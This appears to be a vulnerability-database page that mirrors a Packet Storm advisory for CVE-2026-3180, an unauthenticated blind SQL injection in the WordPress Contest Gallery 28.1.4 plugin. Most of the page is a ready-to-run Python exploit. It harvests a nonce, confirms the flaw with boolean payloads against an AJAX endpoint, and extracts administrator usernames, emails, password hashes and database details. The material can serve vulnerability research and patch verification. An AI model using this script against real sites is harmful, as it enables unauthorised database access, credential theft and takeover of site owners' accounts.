Lucene search
K

📄 WordPress Contest Gallery 28.1.4 SQL Injection

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 15 Views

Unauthenticated blind SQL injection in WordPress Contest Gallery 28.1.4 via an AJAX endpoint.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-3180
4 Jun 202621:27
githubexploit
ATTACKERKB
CVE-2026-3180
2 Mar 202617:23
attackerkb
Circl
CVE-2026-3180
2 Mar 202619:00
circl
CNNVD
WordPress plugin Contest Gallery SQL注入漏洞
2 Mar 202600:00
cnnvd
CVE
CVE-2026-3180
2 Mar 202617:23
cve
Cvelist
CVE-2026-3180 Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection
2 Mar 202617:23
cvelist
EUVD
EUVD-2026-9223
2 Mar 202617:23
euvd
NVD
CVE-2026-3180
2 Mar 202618:16
nvd
Packet Storm
📄 WordPress Contest Gallery 28.1.4 SQL Injection
5 Jun 202600:00
packetstorm
Packet Storm
📄 WordPress Contest Gallery 28.1.4 Blind SQL Injection
9 Jun 202600:00
packetstorm
Rows per page
==================================================================================================================================
    | # Title     : WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection Advanced exploitation with data extraction  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/contest-gallery/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    :   an unauthenticated blind SQL injection exploit targeting a vulnerability in a WordPress plugin (Contest Gallery 28.1.4). 
                       It abuses a vulnerable AJAX endpoint to infer database data by comparing server responses.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import time
    import hashlib
    import binascii
    from urllib.parse import urljoin
    
    class ContestGalleryExploit:
        def __init__(self, target_url, verbose=False):
            self.base_url = target_url.rstrip('/')
            self.ajax_url = urljoin(self.base_url, '/wp-admin/admin-ajax.php')
            self.verbose = verbose
            self.nonce = None
            self.page_id = "1"
            self.table_prefix = "wp_"
            self.true_response_length = 0
        def log(self, msg, level="INFO"):
            if level == "SUCCESS":
                print(f"\033[92m[+] {msg}\033[0m")
            elif level == "ERROR":
                print(f"\033[91m[-] {msg}\033[0m")
            elif level == "WARNING":
                print(f"\033[93m[!] {msg}\033[0m")
            elif level == "DEBUG" and self.verbose:
                print(f"\033[94m[*] {msg}\033[0m")
            else:
                print(f"\033[96m[*] {msg}\033[0m")
        def get_nonce(self):
            """Extract nonce from public pages"""
            self.log("Extracting nonce...")
            paths = [
                '/contest-gallery/gallery',
                '/gallery',
                '/wp-json/contest-gallery/v1/config'
            ]
            for path in paths:
                url = urljoin(self.base_url, path)
                try:
                    response = requests.get(url, timeout=10)
                    if response.status_code == 200:
                        patterns = [
                            r'cg_nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
                            r'name=["\']cg_nonce["\']\s+value=["\']([a-f0-9]+)["\']',
                            r'data-nonce=["\']([a-f0-9]+)["\']'
                        ]
                        for pattern in patterns:
                            import re
                            match = re.search(pattern, response.text, re.IGNORECASE)
                            if match:
                                self.nonce = match.group(1)
                                self.log(f"Nonce found: {self.nonce}", "SUCCESS")
                                return True
                except:
                    continue
            self.log("Failed to obtain nonce", "ERROR")
            return False
        def get_page_id(self):
            """Find valid page ID"""
            self.log("Finding valid page ID...")
            for pid in range(1, 10):
                test_email = f"test{pid}@test.com"
                response = self.send_payload(test_email, str(pid))
                if response and response.status_code == 200:
                    self.page_id = str(pid)
                    self.log(f"Valid page ID: {self.page_id}", "SUCCESS")
                    return True
            self.log("Using default page ID: 1")
            return True
        def send_payload(self, email, page_id=None):
            """Send payload to vulnerable endpoint"""
            if page_id is None:
                page_id = self.page_id
            data = {
                'action': 'post_cg1l_resend_unconfirmed_mail_frontend',
                'cgl_mail': email,
                'cgl_page_id': page_id,
                'cgl_activation_key': '',
                'cg_nonce': self.nonce
            }
            try:
                response = requests.post(self.ajax_url, data=data, timeout=10)
                return response
            except Exception as e:
                self.log(f"Request failed: {e}", "ERROR")
                return None
        def check_vulnerability(self):
            """Check if target is vulnerable"""
            self.log("Checking vulnerability...")
            true_payload = "aaaaaaa'OR/**/1=1#@test.com"
            false_payload = "aaaaaaa'OR/**/1=2#@test.com"
            true_response = self.send_payload(true_payload)
            false_response = self.send_payload(false_payload)
            if true_response and false_response:
                self.true_response_length = len(true_response.text)
                if len(true_response.text) != len(false_response.text):
                    self.log("Target is VULNERABLE to boolean-based blind SQL injection!", "SUCCESS")
                    return True
            self.log("Target does not appear vulnerable", "ERROR")
            return False
        def blind_query(self, condition):
            """Execute boolean-based blind SQL injection"""
            payload = f"aaaaaaa' OR (SELECT IF(({condition}), 1, 0)) AND '1'='1#@test.com"
            response = self.send_payload(payload)
            if response:
                return len(response.text) == self.true_response_length
            return False
        def extract_string(self, query, max_length=100):
            """Extract string from database using blind SQL injection"""
            result = ""
            for pos in range(1, max_length + 1):
                found = False
                for code in range(32, 127):  
                    char = chr(code)
                    if char in ["'", "\\"]:
                        char_escaped = "\\" + char
                    else:
                        char_escaped = char
                    condition = f"({query}) = '{result}{char_escaped}'"
                    if self.blind_query(condition):
                        result += char
                        print(f"\r[*] Extracted: {result}", end="", flush=True)
                        found = True
                        break
                if not found:
                    break
            print()
            return result
        def extract_integer(self, query, max_bits=32):
            """Extract integer from database using blind SQL injection (bit-by-bit)"""
            result = 0
            for bit in range(max_bits):
                condition = f"({query} >> {bit}) & 1 = 1"
                if self.blind_query(condition):
                    result |= (1 << bit)
            return result
        def get_table_prefix(self):
            """Extract WordPress table prefix"""
            self.log("Extracting table prefix...")
            common = ['wp_', 'wp1_', 'wp2_', 'wordpress_', 'wp3_']
            for prefix in common:
                condition = f"SELECT COUNT(*) FROM {prefix}users > 0"
                if self.blind_query(condition):
                    self.table_prefix = prefix
                    self.log(f"Found table prefix: {prefix}", "SUCCESS")
                    return prefix
            prefix = ""
            query = "SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() AND table_name LIKE '%users' LIMIT 1"
            prefix = self.extract_string(query)
            prefix = prefix.replace('users', '')
            self.log(f"Extracted table prefix: {prefix}")
            self.table_prefix = prefix
            return prefix
        def get_admin_users(self):
            """Extract administrator usernames"""
            self.log("Extracting administrator users...")
            users = []
            count_query = f"SELECT COUNT(*) FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%'"
            admin_count = self.extract_integer(count_query)
            self.log(f"Found {admin_count} administrator user(s)")
            for offset in range(admin_count):
                username_query = f"SELECT u.user_login FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%' LIMIT 1 OFFSET {offset}"
                username = self.extract_string(username_query, 50)
                email_query = f"SELECT u.user_email FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
                email = self.extract_string(email_query, 100)
                id_query = f"SELECT u.ID FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
                user_id = self.extract_integer(id_query)
                users.append({
                    'username': username,
                    'email': email,
                    'ID': user_id
                })
                self.log(f"  User {offset+1}: {username} (ID: {user_id})")
            return users
        def get_password_hash(self, username):
            """Extract password hash for a specific user"""
            self.log(f"Extracting password hash for {username}...")
            query = f"SELECT u.user_pass FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
            hash_value = self.extract_string(query, 100)
            self.log(f"Password hash: {hash_value}")
            return hash_value
        def get_wp_config(self):
            """Extract WordPress configuration"""
            self.log("Extracting WordPress configuration...")
            config = {}
            db_name = self.extract_string("SELECT DATABASE()", 50)
            config['DB_NAME'] = db_name
            self.log(f"Database name: {db_name}")
            db_user = self.extract_string("SELECT USER()", 50)
            config['DB_USER'] = db_user
            self.log(f"Database user: {db_user}")
            mysql_version = self.extract_string("SELECT VERSION()", 50)
            config['MYSQL_VERSION'] = mysql_version
            self.log(f"MySQL version: {mysql_version}")
            wp_version = self.extract_string("SELECT option_value FROM wp_options WHERE option_name = 'blogversion' LIMIT 1", 20)
            if wp_version:
                config['WP_VERSION'] = wp_version
                self.log(f"WordPress version: {wp_version}")
            return config
        def run(self, extract_type="all"):
            """Main exploit routine"""
            if not self.get_nonce():
                return False
            if not self.get_page_id():
                return False
            if not self.check_vulnerability():
                return False
            self.get_table_prefix()
            if extract_type in ["users", "all"]:
                users = self.get_admin_users()
                if extract_type == "all":
                    for user in users:
                        user['password_hash'] = self.get_password_hash(user['username'])
            if extract_type in ["config", "all"]:
                config = self.get_wp_config()
            self.log("\n" + "=" * 60, "SUCCESS")
            self.log("EXTRACTION COMPLETE!", "SUCCESS")
            self.log("=" * 60)
            return True
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-3180 - WordPress Contest Gallery Blind SQL Injection"
        )
        parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
        parser.add_argument("--extract", choices=["users", "config", "all"], default="all", 
                            help="What to extract (default: all)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-3180 - WordPress Contest Gallery 28.1.4              ║
    ║  Unauthenticated Blind SQL Injection                            ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
        exploit = ContestGalleryExploit(args.url, args.verbose)
        exploit.run(args.extract)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.5
EPSS0.00699
SSVC
15